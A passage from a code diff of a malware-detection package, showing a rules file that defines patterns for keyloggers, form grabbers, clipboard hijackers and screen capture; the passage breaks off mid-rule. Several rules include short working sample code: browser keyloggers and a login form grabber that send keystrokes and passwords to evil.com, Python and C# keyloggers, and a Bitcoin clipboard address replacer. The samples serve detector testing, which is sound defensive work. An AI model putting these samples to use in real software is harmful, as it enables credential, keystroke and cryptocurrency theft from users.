  487. package/src/analyzers/javascript/taintAnalyzer.ts +630 -0
  488. package/src/analyzers/php/index.ts +5 -0
  489. package/src/analyzers/php/phpAnalyzer.ts +280 -0
  490. package/src/analyzers/python/index.ts +5 -0
  491. package/src/analyzers/python/pythonAnalyzer.ts +319 -0
  492. package/src/cli/index.ts +276 -0
  493. package/src/dependencies/aiDependencyAnalyzer.ts +496 -0
  494. package/src/dependencies/database/cveDatabase.ts +426 -0
  495. package/src/dependencies/database/index.ts +6 -0
  496. package/src/dependencies/database/maliciousPackages.ts +286 -0
  497. package/src/dependencies/dependencyAnalyzer.ts +394 -0
  498. package/src/dependencies/detectors/index.ts +7 -0
  499. package/src/dependencies/detectors/securityStandards.ts +200 -0
  500. package/src/dependencies/detectors/vulnerabilityDetector.ts +343 -0
  501. package/src/dependencies/index.ts +27 -0
  502. package/src/dependencies/installed/index.ts +8 -0
  503. package/src/dependencies/installed/installedScanner.ts +821 -0
  504. package/src/dependencies/installed/malwarePatterns.ts +492 -0
  505. package/src/dependencies/installed/types.ts +287 -0
  506. package/src/dependencies/parsers/base/baseParser.ts +108 -0
  507. package/src/dependencies/parsers/base/index.ts +6 -0
  508. package/src/dependencies/parsers/cpp/cppParser.ts +245 -0
  509. package/src/dependencies/parsers/cpp/index.ts +6 -0
  510. package/src/dependencies/parsers/csharp/csharpParser.ts +151 -0
  511. package/src/dependencies/parsers/csharp/index.ts +6 -0
  512. package/src/dependencies/parsers/index.ts +56 -0
  513. package/src/dependencies/parsers/java/index.ts +6 -0
  514. package/src/dependencies/parsers/java/javaParser.ts +203 -0
  515. package/src/dependencies/parsers/javascript/index.ts +6 -0
  516. package/src/dependencies/parsers/javascript/javascriptParser.ts +362 -0
  517. package/src/dependencies/parsers/php/index.ts +6 -0
  518. package/src/dependencies/parsers/php/phpParser.ts +208 -0
  519. package/src/dependencies/parsers/python/index.ts +6 -0
  520. package/src/dependencies/parsers/python/pythonParser.ts +437 -0
  521. package/src/dependencies/types.ts +330 -0
  522. package/src/i18n/index.ts +1 -0
  523. package/src/i18n/translations.ts +194 -0
  524. package/src/index.ts +16 -0
  525. package/src/reports/dependencyReportGenerator.ts +717 -0
  526. package/src/reports/htmlReportGenerator.ts +781 -0
  527. package/src/reports/index.ts +7 -0
  528. package/src/reports/installedDepsReportGenerator.ts +899 -0
  529. package/src/rules/index.ts +58 -0
  530. package/src/rules/malware/INFO.md +287 -0
  531. package/src/rules/malware/categories/backdoors.ts +174 -0
  532. package/src/rules/malware/categories/cryptominers.ts +434 -0
  533. package/src/rules/malware/categories/exfiltration.ts +677 -0
  534. package/src/rules/malware/categories/keyloggers.ts +780 -0
  535. package/src/rules/malware/categories/loaders.ts +721 -0
  536. package/src/rules/malware/categories/network.ts +639 -0
  537. package/src/rules/malware/categories/obfuscation.ts +788 -0
  538. package/src/rules/malware/constants/index.ts +358 -0
  539. package/src/rules/malware/engine/index.ts +758 -0
  540. package/src/rules/malware/index.ts +928 -0
  541. package/src/rules/malware/scoring/index.ts +549 -0
  542. package/src/rules/malware/types/index.ts +752 -0
  543. package/src/rules/malware/utils/index.ts +643 -0
  544. package/src/rules/standards.ts +372 -0
  545. package/src/rules/vulnerabilities/PROMPT_VULNERABILITIES.md +226 -0
  546. package/src/rules/vulnerabilities/constants/index.ts +625 -0
  547. package/src/rules/vulnerabilities/engine/index.ts +831 -0
  548. package/src/rules/vulnerabilities/index.ts +312 -0
  549. package/src/rules/vulnerabilities/rules/authentication.ts +426 -0
  550. package/src/rules/vulnerabilities/rules/commandInjection.ts +307 -0
  551. package/src/rules/vulnerabilities/rules/csrf.ts +268 -0
  552. package/src/rules/vulnerabilities/rules/deserialization.ts +343 -0
  553. package/src/rules/vulnerabilities/rules/fileUpload.ts +332 -0
  554. package/src/rules/vulnerabilities/rules/hardcodedSecrets.ts +453 -0
  555. package/src/rules/vulnerabilities/rules/index.ts +17 -0
  556. package/src/rules/vulnerabilities/rules/pathTraversal.ts +358 -0
  557. package/src/rules/vulnerabilities/rules/prototypePollution.ts +279 -0
  558. package/src/rules/vulnerabilities/rules/securityMisconfiguration.ts +445 -0
  559. package/src/rules/vulnerabilities/rules/sqlInjection.ts +669 -0
  560. package/src/rules/vulnerabilities/rules/ssrf.ts +408 -0
  561. package/src/rules/vulnerabilities/rules/xss.ts +753 -0
  562. package/src/rules/vulnerabilities/scoring/index.ts +543 -0
  563. package/src/rules/vulnerabilities/types/index.ts +1004 -0
  564. package/src/rules/vulnerabilities/utils/index.ts +709 -0
  565. package/src/types/index.ts +391 -0
  566. package/src/utils/index.ts +306 -0
  567. package/src/utils/logger.ts +150 -0
  568. package/test-installed-scanner.ts +136 -0
  569. package/tsconfig.json +30 -0
@@ -0,0 +1,763 @@
1
+ "use strict";
2
+ /**
3
+ * @fileoverview Keylogger and Spyware Detection Rules
4
+ * @module rules/malware/categories/keyloggers
5
+ *
6
+ * Comprehensive rules for detecting keylogging and spyware including:
7
+ * - JavaScript keyloggers (browser-based)
8
+ * - System-level keyloggers (Python, C#, C/C++)
9
+ * - Form grabbers
10
+ * - Clipboard monitors
11
+ * - Screen capture malware
12
+ */
13
+ Object.defineProperty(exports, "__esModule", { value: true });
14
+ exports.keyloggerRules = exports.screenCaptureRules = exports.clipboardMonitorRules = exports.systemKeyloggerRules = exports.jsKeyloggerRules = void 0;
15
+ const types_1 = require("../types");
16
+ // ============================================================================
17
+ // JAVASCRIPT KEYLOGGER RULES
18
+ // ============================================================================
19
+ exports.jsKeyloggerRules = [
20
+ {
21
+ id: 'MAL-KEY-001',
22
+ name: 'JavaScript Keylogger - Event Listener',
23
+ description: 'Detects JavaScript code that captures keyboard events with potential data exfiltration.',
24
+ version: '2.0.0',
25
+ threatType: types_1.MalwareThreatType.KEYLOGGER,
26
+ category: types_1.MalwareCategory.SPYWARE,
27
+ languages: [types_1.SupportedLanguage.JAVASCRIPT, types_1.SupportedLanguage.TYPESCRIPT],
28
+ severity: types_1.MalwareSeverity.CRITICAL,
29
+ confidence: types_1.ConfidenceLevel.HIGH,
30
+ baseScore: 85,
31
+ patterns: [
32
+ {
33
+ type: types_1.PatternType.REGEX,
34
+ patternId: 'keydown-listener',
35
+ pattern: 'addEventListener\\s*\\([\'"]key(?:down|up|press)[\'"][\\s\\S]*?(?:fetch|XMLHttpRequest|ajax|axios|sendBeacon|WebSocket)',
36
+ flags: 'gis',
37
+ weight: 1.0,
38
+ description: 'Key event listener with network activity'
39
+ },
40
+ {
41
+ type: types_1.PatternType.REGEX,
42
+ patternId: 'onkey-handler',
43
+ pattern: '(?:document|window)\\.onkey(?:down|up|press)\\s*=\\s*function[\\s\\S]*?(?:http|fetch|send)',
44
+ flags: 'gis',
45
+ weight: 1.0,
46
+ description: 'onkey handler with network call'
47
+ },
48
+ {
49
+ type: types_1.PatternType.REGEX,
50
+ patternId: 'key-accumulator',
51
+ pattern: 'key(?:down|up|press)[\\s\\S]*?(?:push|concat|\\+=)[\\s\\S]*?(?:key|char|which|keyCode)',
52
+ flags: 'gis',
53
+ weight: 0.8,
54
+ description: 'Key accumulation pattern'
55
+ },
56
+ {
57
+ type: types_1.PatternType.REGEX,
58
+ patternId: 'input-monitor',
59
+ pattern: 'addEventListener\\s*\\([\'"]input[\'"][\\s\\S]*?(?:\\$\\.post|fetch|XMLHttpRequest)',
60
+ flags: 'gis',
61
+ weight: 0.9,
62
+ description: 'Input monitoring with exfiltration'
63
+ }
64
+ ],
65
+ amplifyingPatterns: [
66
+ {
67
+ type: types_1.PatternType.REGEX,
68
+ patternId: 'password-focus',
69
+ pattern: 'type\\s*[=:]\\s*[\'"]password[\'"]|\\[type=password\\]',
70
+ flags: 'gi',
71
+ weight: 0.5,
72
+ description: 'Password field targeting'
73
+ },
74
+ {
75
+ type: types_1.PatternType.REGEX,
76
+ patternId: 'hidden-exfil',
77
+ pattern: 'display\\s*:\\s*none|visibility\\s*:\\s*hidden|position\\s*:\\s*absolute[^}]*-9999',
78
+ flags: 'gi',
79
+ weight: 0.3,
80
+ description: 'Hidden exfiltration elements'
81
+ }
82
+ ],
83
+ falsePositivePatterns: [
84
+ {
85
+ type: types_1.PatternType.REGEX,
86
+ patternId: 'analytics-context',
87
+ pattern: 'analytics|tracking|hotjar|mouseflow|fullstory',
88
+ flags: 'gi',
89
+ weight: 0.4,
90
+ description: 'Legitimate analytics tools'
91
+ }
92
+ ],
93
+ maliciousExamples: [
94
+ {
95
+ code: `let keys = [];
96
+ document.addEventListener('keydown', (e) => {
97
+ keys.push(e.key);
98
+ if (keys.length >= 20) {
99
+ fetch('https://evil.com/log', {
100
+ method: 'POST',
101
+ body: JSON.stringify({ keys: keys, url: location.href })
102
+ });
103
+ keys = [];
104
+ }
105
+ });`,
106
+ language: types_1.SupportedLanguage.JAVASCRIPT,
107
+ isMalicious: true,
108
+ description: 'Keylogger with batch exfiltration'
109
+ }
110
+ ],
111
+ falsePositiveExamples: [
112
+ {
113
+ code: `document.addEventListener('keydown', (e) => {
114
+ if (e.key === 'Escape') {
115
+ closeModal();
116
+ }
117
+ });`,
118
+ language: types_1.SupportedLanguage.JAVASCRIPT,
119
+ isMalicious: false,
120
+ description: 'Legitimate keyboard shortcut handler'
121
+ }
122
+ ],
123
+ impact: {
124
+ technical: 'Captures and exfiltrates user keystrokes including passwords and sensitive data.',
125
+ business: 'Credential theft, data breach, identity theft risk.',
126
+ affectedAssets: ['User credentials', 'Sensitive input data'],
127
+ dataAtRisk: ['Passwords', 'Personal information', 'Financial data']
128
+ },
129
+ remediation: {
130
+ summary: 'Remove keylogger code and audit all keyboard event handlers.',
131
+ steps: [
132
+ 'Remove the malicious event listeners',
133
+ 'Audit all keyboard event handlers in the codebase',
134
+ 'Implement Content Security Policy',
135
+ 'Review third-party scripts',
136
+ 'Consider using virtual keyboards for sensitive input'
137
+ ]
138
+ },
139
+ mitreAttack: [
140
+ {
141
+ tacticId: types_1.MitreTactic.CREDENTIAL_ACCESS,
142
+ tacticName: 'Credential Access',
143
+ techniqueId: 'T1056.001',
144
+ techniqueName: 'Keylogging',
145
+ url: 'https://attack.mitre.org/techniques/T1056/001/'
146
+ },
147
+ {
148
+ tacticId: types_1.MitreTactic.COLLECTION,
149
+ tacticName: 'Collection',
150
+ techniqueId: 'T1056',
151
+ techniqueName: 'Input Capture',
152
+ url: 'https://attack.mitre.org/techniques/T1056/'
153
+ }
154
+ ],
155
+ tags: ['keylogger', 'javascript', 'spyware', 'credential-theft', 'critical'],
156
+ enabled: true
157
+ },
158
+ {
159
+ id: 'MAL-KEY-002',
160
+ name: 'JavaScript Keylogger - Form Grabber',
161
+ description: 'Detects form submission interception and data stealing.',
162
+ version: '2.0.0',
163
+ threatType: types_1.MalwareThreatType.CREDENTIAL_STEALER,
164
+ category: types_1.MalwareCategory.SPYWARE,
165
+ languages: [types_1.SupportedLanguage.JAVASCRIPT, types_1.SupportedLanguage.TYPESCRIPT],
166
+ severity: types_1.MalwareSeverity.CRITICAL,
167
+ confidence: types_1.ConfidenceLevel.HIGH,
168
+ baseScore: 88,
169
+ patterns: [
170
+ {
171
+ type: types_1.PatternType.REGEX,
172
+ patternId: 'form-submit-intercept',
173
+ pattern: 'addEventListener\\s*\\([\'"]submit[\'"][\\s\\S]*?(?:fetch|XMLHttpRequest|ajax|\\$\\.post)',
174
+ flags: 'gis',
175
+ weight: 0.9,
176
+ description: 'Form submit interception with exfil'
177
+ },
178
+ {
179
+ type: types_1.PatternType.REGEX,
180
+ patternId: 'form-data-grab',
181
+ pattern: 'new\\s+FormData\\s*\\([^)]*\\)[\\s\\S]*?(?:fetch|post|send)[\\s\\S]*?(?!same-origin)',
182
+ flags: 'gis',
183
+ weight: 0.8,
184
+ description: 'FormData extraction and sending'
185
+ },
186
+ {
187
+ type: types_1.PatternType.REGEX,
188
+ patternId: 'login-form-target',
189
+ pattern: 'querySelector\\s*\\([\'"][^\'\"]*(?:login|signin|password)[^\'\"]*[\'"]\\)[\\s\\S]*?(?:value|innerText)',
190
+ flags: 'gis',
191
+ weight: 0.9,
192
+ description: 'Login form field extraction'
193
+ },
194
+ {
195
+ type: types_1.PatternType.REGEX,
196
+ patternId: 'parallel-exfil',
197
+ pattern: 'addEventListener\\s*\\([\'"]submit[\'"][\\s\\S]*?(?:Image|img)\\.src\\s*=',
198
+ flags: 'gis',
199
+ weight: 1.0,
200
+ description: 'Image beacon exfiltration on submit'
201
+ }
202
+ ],
203
+ maliciousExamples: [
204
+ {
205
+ code: `document.querySelector('form[action*="login"]').addEventListener('submit', (e) => {
206
+ const formData = new FormData(e.target);
207
+ const img = new Image();
208
+ img.src = 'https://evil.com/steal?u=' + encodeURIComponent(formData.get('username')) +
209
+ '&p=' + encodeURIComponent(formData.get('password'));
210
+ });`,
211
+ language: types_1.SupportedLanguage.JAVASCRIPT,
212
+ isMalicious: true,
213
+ description: 'Login form grabber with image beacon'
214
+ }
215
+ ],
216
+ impact: {
217
+ technical: 'Intercepts form submissions to steal credentials and sensitive data.',
218
+ business: 'Direct credential theft leading to account compromise.',
219
+ affectedAssets: ['User accounts', 'Login credentials'],
220
+ dataAtRisk: ['Usernames', 'Passwords', 'Form data']
221
+ },
222
+ remediation: {
223
+ summary: 'Remove form grabber and implement form submission monitoring.',
224
+ steps: [
225
+ 'Remove malicious form event listeners',
226
+ 'Audit all form submit handlers',
227
+ 'Implement Subresource Integrity for scripts',
228
+ 'Use CSP to restrict data exfiltration'
229
+ ]
230
+ },
231
+ mitreAttack: [
232
+ {
233
+ tacticId: types_1.MitreTactic.CREDENTIAL_ACCESS,
234
+ tacticName: 'Credential Access',
235
+ techniqueId: 'T1056.003',
236
+ techniqueName: 'Web Portal Capture',
237
+ url: 'https://attack.mitre.org/techniques/T1056/003/'
238
+ }
239
+ ],
240
+ tags: ['keylogger', 'form-grabber', 'credential-theft', 'critical'],
241
+ enabled: true
242
+ }
243
+ ];
244
+ // ============================================================================
245
+ // SYSTEM KEYLOGGER RULES
246
+ // ============================================================================
247
+ exports.systemKeyloggerRules = [
248
+ {
249
+ id: 'MAL-KEY-010',
250
+ name: 'Python Keylogger - pynput Library',
251
+ description: 'Detects Python keyloggers using the pynput library.',
252
+ version: '2.0.0',
253
+ threatType: types_1.MalwareThreatType.KEYLOGGER,
254
+ category: types_1.MalwareCategory.SPYWARE,
255
+ languages: [types_1.SupportedLanguage.PYTHON],
256
+ severity: types_1.MalwareSeverity.CRITICAL,
257
+ confidence: types_1.ConfidenceLevel.CONFIRMED,
258
+ baseScore: 90,
259
+ patterns: [
260
+ {
261
+ type: types_1.PatternType.REGEX,
262
+ patternId: 'pynput-listener',
263
+ pattern: 'pynput\\.keyboard\\.Listener\\s*\\(',
264
+ flags: 'gi',
265
+ weight: 0.9,
266
+ description: 'pynput keyboard listener'
267
+ },
268
+ {
269
+ type: types_1.PatternType.REGEX,
270
+ patternId: 'pynput-onpress',
271
+ pattern: 'on_press\\s*=\\s*(?:lambda|def)',
272
+ flags: 'gi',
273
+ weight: 0.8,
274
+ description: 'pynput on_press callback'
275
+ },
276
+ {
277
+ type: types_1.PatternType.REGEX,
278
+ patternId: 'keyboard-hook-log',
279
+ pattern: 'keyboard\\.on_(?:press|release)[\\s\\S]*?(?:write|append|log|send|post)',
280
+ flags: 'gis',
281
+ weight: 1.0,
282
+ description: 'Keyboard hook with logging'
283
+ }
284
+ ],
285
+ amplifyingPatterns: [
286
+ {
287
+ type: types_1.PatternType.REGEX,
288
+ patternId: 'file-write',
289
+ pattern: 'open\\s*\\([^)]+,\\s*[\'"][wa][\'"]\\)[\\s\\S]*?write',
290
+ flags: 'gis',
291
+ weight: 0.4,
292
+ description: 'File write operation'
293
+ },
294
+ {
295
+ type: types_1.PatternType.REGEX,
296
+ patternId: 'smtp-send',
297
+ pattern: 'smtplib\\.SMTP|sendmail',
298
+ flags: 'gi',
299
+ weight: 0.5,
300
+ description: 'Email sending capability'
301
+ }
302
+ ],
303
+ maliciousExamples: [
304
+ {
305
+ code: `from pynput.keyboard import Key, Listener
306
+ import logging
307
+
308
+ logging.basicConfig(filename="keylog.txt", level=logging.DEBUG)
309
+
310
+ def on_press(key):
311
+ logging.info(str(key))
312
+
313
+ with Listener(on_press=on_press) as listener:
314
+ listener.join()`,
315
+ language: types_1.SupportedLanguage.PYTHON,
316
+ isMalicious: true,
317
+ description: 'Python keylogger with file logging'
318
+ }
319
+ ],
320
+ impact: {
321
+ technical: 'System-level keystroke capture on the host machine.',
322
+ business: 'Complete credential and data theft capability.',
323
+ affectedAssets: ['All user input', 'System credentials'],
324
+ dataAtRisk: ['All keystrokes', 'Passwords', 'Messages']
325
+ },
326
+ remediation: {
327
+ summary: 'Remove the keylogger script and investigate the installation vector.',
328
+ steps: [
329
+ 'Remove the malicious Python script',
330
+ 'Check for persistence mechanisms',
331
+ 'Audit installed Python packages',
332
+ 'Change all potentially compromised credentials'
333
+ ]
334
+ },
335
+ mitreAttack: [
336
+ {
337
+ tacticId: types_1.MitreTactic.CREDENTIAL_ACCESS,
338
+ tacticName: 'Credential Access',
339
+ techniqueId: 'T1056.001',
340
+ techniqueName: 'Keylogging',
341
+ url: 'https://attack.mitre.org/techniques/T1056/001/'
342
+ }
343
+ ],
344
+ tags: ['keylogger', 'python', 'pynput', 'spyware', 'critical'],
345
+ enabled: true
346
+ },
347
+ {
348
+ id: 'MAL-KEY-011',
349
+ name: 'Windows Keylogger - SetWindowsHookEx',
350
+ description: 'Detects Windows API-based keyloggers using SetWindowsHookEx.',
351
+ version: '2.0.0',
352
+ threatType: types_1.MalwareThreatType.KEYLOGGER,
353
+ category: types_1.MalwareCategory.SPYWARE,
354
+ languages: [types_1.SupportedLanguage.C, types_1.SupportedLanguage.CPP, types_1.SupportedLanguage.CSHARP],
355
+ severity: types_1.MalwareSeverity.CRITICAL,
356
+ confidence: types_1.ConfidenceLevel.CONFIRMED,
357
+ baseScore: 92,
358
+ patterns: [
359
+ {
360
+ type: types_1.PatternType.REGEX,
361
+ patternId: 'setwindowshookex-kb',
362
+ pattern: 'SetWindowsHookEx\\s*\\([^)]*WH_KEYBOARD',
363
+ flags: 'gi',
364
+ weight: 1.0,
365
+ description: 'Keyboard hook installation'
366
+ },
367
+ {
368
+ type: types_1.PatternType.REGEX,
369
+ patternId: 'lowlevelkeyboard',
370
+ pattern: 'SetWindowsHookEx\\s*\\([^)]*WH_KEYBOARD_LL',
371
+ flags: 'gi',
372
+ weight: 1.0,
373
+ description: 'Low-level keyboard hook'
374
+ },
375
+ {
376
+ type: types_1.PatternType.REGEX,
377
+ patternId: 'getasynckeystate',
378
+ pattern: 'GetAsyncKeyState\\s*\\([^)]*\\)',
379
+ flags: 'gi',
380
+ weight: 0.7,
381
+ description: 'GetAsyncKeyState polling'
382
+ },
383
+ {
384
+ type: types_1.PatternType.REGEX,
385
+ patternId: 'getkeystate',
386
+ pattern: 'GetKeyState\\s*\\([^)]*\\)',
387
+ flags: 'gi',
388
+ weight: 0.6,
389
+ description: 'GetKeyState polling'
390
+ }
391
+ ],
392
+ amplifyingPatterns: [
393
+ {
394
+ type: types_1.PatternType.REGEX,
395
+ patternId: 'vk-codes',
396
+ pattern: 'VK_(?:BACK|TAB|RETURN|SHIFT|CONTROL|MENU|SPACE)',
397
+ flags: 'g',
398
+ weight: 0.3,
399
+ description: 'Virtual key code constants'
400
+ }
401
+ ],
402
+ maliciousExamples: [
403
+ {
404
+ code: `HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, hInstance, 0);
405
+ MSG msg;
406
+ while (GetMessage(&msg, NULL, 0, 0)) {
407
+ TranslateMessage(&msg);
408
+ DispatchMessage(&msg);
409
+ }`,
410
+ language: types_1.SupportedLanguage.CPP,
411
+ isMalicious: true,
412
+ description: 'Windows low-level keyboard hook'
413
+ }
414
+ ],
415
+ impact: {
416
+ technical: 'Low-level Windows keyboard hook capturing all keystrokes.',
417
+ business: 'Complete system credential and input compromise.',
418
+ affectedAssets: ['All Windows input', 'System credentials'],
419
+ dataAtRisk: ['All keystrokes', 'System passwords', 'Sensitive data']
420
+ },
421
+ remediation: {
422
+ summary: 'Remove the keylogger binary and clean the system.',
423
+ steps: [
424
+ 'Terminate the malicious process',
425
+ 'Remove the executable and any persistence',
426
+ 'Scan system with antimalware tools',
427
+ 'Reset all credentials'
428
+ ]
429
+ },
430
+ tags: ['keylogger', 'windows', 'hook', 'native', 'critical'],
431
+ enabled: true
432
+ },
433
+ {
434
+ id: 'MAL-KEY-012',
435
+ name: 'C# Keylogger - .NET Keyboard Hook',
436
+ description: 'Detects .NET-based keyloggers using keyboard hooks.',
437
+ version: '2.0.0',
438
+ threatType: types_1.MalwareThreatType.KEYLOGGER,
439
+ category: types_1.MalwareCategory.SPYWARE,
440
+ languages: [types_1.SupportedLanguage.CSHARP],
441
+ severity: types_1.MalwareSeverity.CRITICAL,
442
+ confidence: types_1.ConfidenceLevel.HIGH,
443
+ baseScore: 88,
444
+ patterns: [
445
+ {
446
+ type: types_1.PatternType.REGEX,
447
+ patternId: 'dotnet-hook',
448
+ pattern: '\\[DllImport\\([\'"]user32\\.dll[\'"]\\)\\][\\s\\S]*?SetWindowsHookEx',
449
+ flags: 'gis',
450
+ weight: 1.0,
451
+ description: '.NET SetWindowsHookEx import'
452
+ },
453
+ {
454
+ type: types_1.PatternType.REGEX,
455
+ patternId: 'keyboard-interceptor',
456
+ pattern: 'class\\s+\\w*(?:Keyboard|Key)(?:Logger|Hook|Interceptor)',
457
+ flags: 'gi',
458
+ weight: 0.7,
459
+ description: 'Keyboard interceptor class'
460
+ },
461
+ {
462
+ type: types_1.PatternType.REGEX,
463
+ patternId: 'rawkeyboard',
464
+ pattern: 'RawKeyboardHook|GlobalKeyboardHook',
465
+ flags: 'gi',
466
+ weight: 0.9,
467
+ description: 'Raw keyboard hook libraries'
468
+ }
469
+ ],
470
+ maliciousExamples: [
471
+ {
472
+ code: `[DllImport("user32.dll")]
473
+ public static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc callback, IntPtr hInstance, uint threadId);
474
+
475
+ private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
476
+ if (nCode >= 0) {
477
+ int vkCode = Marshal.ReadInt32(lParam);
478
+ StreamWriter sw = new StreamWriter(@"C:\\keylog.txt", true);
479
+ sw.Write((Keys)vkCode);
480
+ sw.Close();
481
+ }
482
+ return CallNextHookEx(_hookID, nCode, wParam, lParam);
483
+ }`,
484
+ language: types_1.SupportedLanguage.CSHARP,
485
+ isMalicious: true,
486
+ description: 'C# keylogger with file logging'
487
+ }
488
+ ],
489
+ impact: {
490
+ technical: '.NET application capturing keyboard input.',
491
+ business: 'Credential theft through keyboard monitoring.',
492
+ affectedAssets: ['User input', 'Credentials'],
493
+ dataAtRisk: ['Keystrokes', 'Passwords']
494
+ },
495
+ remediation: {
496
+ summary: 'Remove the .NET keylogger and audit managed applications.',
497
+ steps: [
498
+ 'Remove the malicious assembly',
499
+ 'Check for .NET persistence',
500
+ 'Audit installed .NET applications',
501
+ 'Reset credentials'
502
+ ]
503
+ },
504
+ tags: ['keylogger', 'csharp', 'dotnet', 'windows', 'critical'],
505
+ enabled: true
506
+ }
507
+ ];
508
+ // ============================================================================
509
+ // CLIPBOARD MONITOR RULES
510
+ // ============================================================================
511
+ exports.clipboardMonitorRules = [
512
+ {
513
+ id: 'MAL-KEY-020',
514
+ name: 'Clipboard Stealer - Cryptocurrency Address Replacement',
515
+ description: 'Detects clipboard hijacking malware that replaces cryptocurrency addresses.',
516
+ version: '2.0.0',
517
+ threatType: types_1.MalwareThreatType.CREDENTIAL_STEALER,
518
+ category: types_1.MalwareCategory.SPYWARE,
519
+ languages: [
520
+ types_1.SupportedLanguage.JAVASCRIPT,
521
+ types_1.SupportedLanguage.PYTHON,
522
+ types_1.SupportedLanguage.CSHARP
523
+ ],
524
+ severity: types_1.MalwareSeverity.HIGH,
525
+ confidence: types_1.ConfidenceLevel.HIGH,
526
+ baseScore: 78,
527
+ patterns: [
528
+ {
529
+ type: types_1.PatternType.REGEX,
530
+ patternId: 'clipboard-monitor-js',
531
+ pattern: 'navigator\\.clipboard\\.(?:readText|read)\\s*\\([\\s\\S]*?(?:match|test|includes)[\\s\\S]*?(?:btc|bitcoin|ethereum|monero|0x)',
532
+ flags: 'gis',
533
+ weight: 1.0,
534
+ description: 'JS clipboard read with crypto detection'
535
+ },
536
+ {
537
+ type: types_1.PatternType.REGEX,
538
+ patternId: 'clipboard-replace',
539
+ pattern: 'navigator\\.clipboard\\.writeText\\s*\\([^)]*(?:wallet|address|0x)',
540
+ flags: 'gis',
541
+ weight: 0.9,
542
+ description: 'Clipboard write with wallet address'
543
+ },
544
+ {
545
+ type: types_1.PatternType.REGEX,
546
+ patternId: 'pyperclip-monitor',
547
+ pattern: 'pyperclip\\.(?:paste|copy)[\\s\\S]*?(?:btc|bitcoin|eth|monero|wallet)',
548
+ flags: 'gis',
549
+ weight: 1.0,
550
+ description: 'Python pyperclip with crypto'
551
+ },
552
+ {
553
+ type: types_1.PatternType.REGEX,
554
+ patternId: 'dotnet-clipboard',
555
+ pattern: 'Clipboard\\.(?:GetText|SetText)[\\s\\S]*?(?:Regex|Match)[\\s\\S]*?(?:btc|bitcoin|ethereum)',
556
+ flags: 'gis',
557
+ weight: 1.0,
558
+ description: '.NET clipboard with crypto regex'
559
+ }
560
+ ],
561
+ maliciousExamples: [
562
+ {
563
+ code: `import pyperclip
564
+ import re
565
+ btc_pattern = r'^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$'
566
+ attacker_wallet = '1Attacker...'
567
+ while True:
568
+ clip = pyperclip.paste()
569
+ if re.match(btc_pattern, clip):
570
+ pyperclip.copy(attacker_wallet)`,
571
+ language: types_1.SupportedLanguage.PYTHON,
572
+ isMalicious: true,
573
+ description: 'BTC address clipboard replacer'
574
+ }
575
+ ],
576
+ impact: {
577
+ technical: 'Monitors and modifies clipboard content to steal cryptocurrency.',
578
+ business: 'Direct financial theft through address replacement.',
579
+ affectedAssets: ['Cryptocurrency wallets', 'Clipboard data'],
580
+ dataAtRisk: ['Cryptocurrency funds', 'Clipboard contents']
581
+ },
582
+ remediation: {
583
+ summary: 'Remove clipboard hijacker and verify all recent transactions.',
584
+ steps: [
585
+ 'Remove the malicious script/application',
586
+ 'Review recent cryptocurrency transactions',
587
+ 'Enable clipboard access notifications',
588
+ 'Verify addresses before transactions'
589
+ ]
590
+ },
591
+ mitreAttack: [
592
+ {
593
+ tacticId: types_1.MitreTactic.COLLECTION,
594
+ tacticName: 'Collection',
595
+ techniqueId: 'T1115',
596
+ techniqueName: 'Clipboard Data',
597
+ url: 'https://attack.mitre.org/techniques/T1115/'
598
+ }
599
+ ],
600
+ tags: ['clipboard', 'cryptocurrency', 'stealer', 'high'],
601
+ enabled: true
602
+ },
603
+ {
604
+ id: 'MAL-KEY-021',
605
+ name: 'Clipboard Monitor - General Data Theft',
606
+ description: 'Detects general clipboard monitoring for data theft.',
607
+ version: '2.0.0',
608
+ threatType: types_1.MalwareThreatType.DATA_EXFILTRATION,
609
+ category: types_1.MalwareCategory.SPYWARE,
610
+ languages: [
611
+ types_1.SupportedLanguage.JAVASCRIPT,
612
+ types_1.SupportedLanguage.TYPESCRIPT,
613
+ types_1.SupportedLanguage.PYTHON
614
+ ],
615
+ severity: types_1.MalwareSeverity.MEDIUM,
616
+ confidence: types_1.ConfidenceLevel.MEDIUM,
617
+ baseScore: 60,
618
+ patterns: [
619
+ {
620
+ type: types_1.PatternType.REGEX,
621
+ patternId: 'clipboard-interval',
622
+ pattern: 'setInterval[\\s\\S]*?navigator\\.clipboard\\.readText',
623
+ flags: 'gis',
624
+ weight: 0.9,
625
+ description: 'Periodic clipboard reading'
626
+ },
627
+ {
628
+ type: types_1.PatternType.REGEX,
629
+ patternId: 'clipboard-exfil',
630
+ pattern: 'navigator\\.clipboard\\.readText[\\s\\S]*?(?:fetch|XMLHttpRequest|sendBeacon)',
631
+ flags: 'gis',
632
+ weight: 1.0,
633
+ description: 'Clipboard read with exfiltration'
634
+ }
635
+ ],
636
+ maliciousExamples: [
637
+ {
638
+ code: `setInterval(async () => {
639
+ const clip = await navigator.clipboard.readText();
640
+ if (clip !== lastClip) {
641
+ fetch('/log', { method: 'POST', body: clip });
642
+ lastClip = clip;
643
+ }
644
+ }, 1000);`,
645
+ language: types_1.SupportedLanguage.JAVASCRIPT,
646
+ isMalicious: true,
647
+ description: 'Clipboard monitoring with exfiltration'
648
+ }
649
+ ],
650
+ impact: {
651
+ technical: 'Continuous clipboard monitoring and data exfiltration.',
652
+ business: 'Data theft of copied sensitive information.',
653
+ affectedAssets: ['Clipboard data'],
654
+ dataAtRisk: ['Passwords', 'API keys', 'Sensitive text']
655
+ },
656
+ remediation: {
657
+ summary: 'Remove clipboard monitor and audit clipboard permissions.',
658
+ steps: [
659
+ 'Remove the monitoring code',
660
+ 'Review clipboard permission grants',
661
+ 'Audit for similar patterns'
662
+ ]
663
+ },
664
+ tags: ['clipboard', 'monitor', 'exfiltration', 'medium'],
665
+ enabled: true
666
+ }
667
+ ];
668
+ // ============================================================================
669
+ // SCREEN CAPTURE RULES
670
+ // ============================================================================
671
+ exports.screenCaptureRules = [
672
+ {
673
+ id: 'MAL-KEY-030',
674
+ name: 'Screen Capture Malware',
675
+ description: 'Detects screen capture functionality used for spyware.',
676
+ version: '2.0.0',
677
+ threatType: types_1.MalwareThreatType.DATA_EXFILTRATION,
678
+ category: types_1.MalwareCategory.SPYWARE,
679
+ languages: [
680
+ types_1.SupportedLanguage.JAVASCRIPT,
681
+ types_1.SupportedLanguage.PYTHON,
682
+ types_1.SupportedLanguage.CSHARP
683
+ ],
684
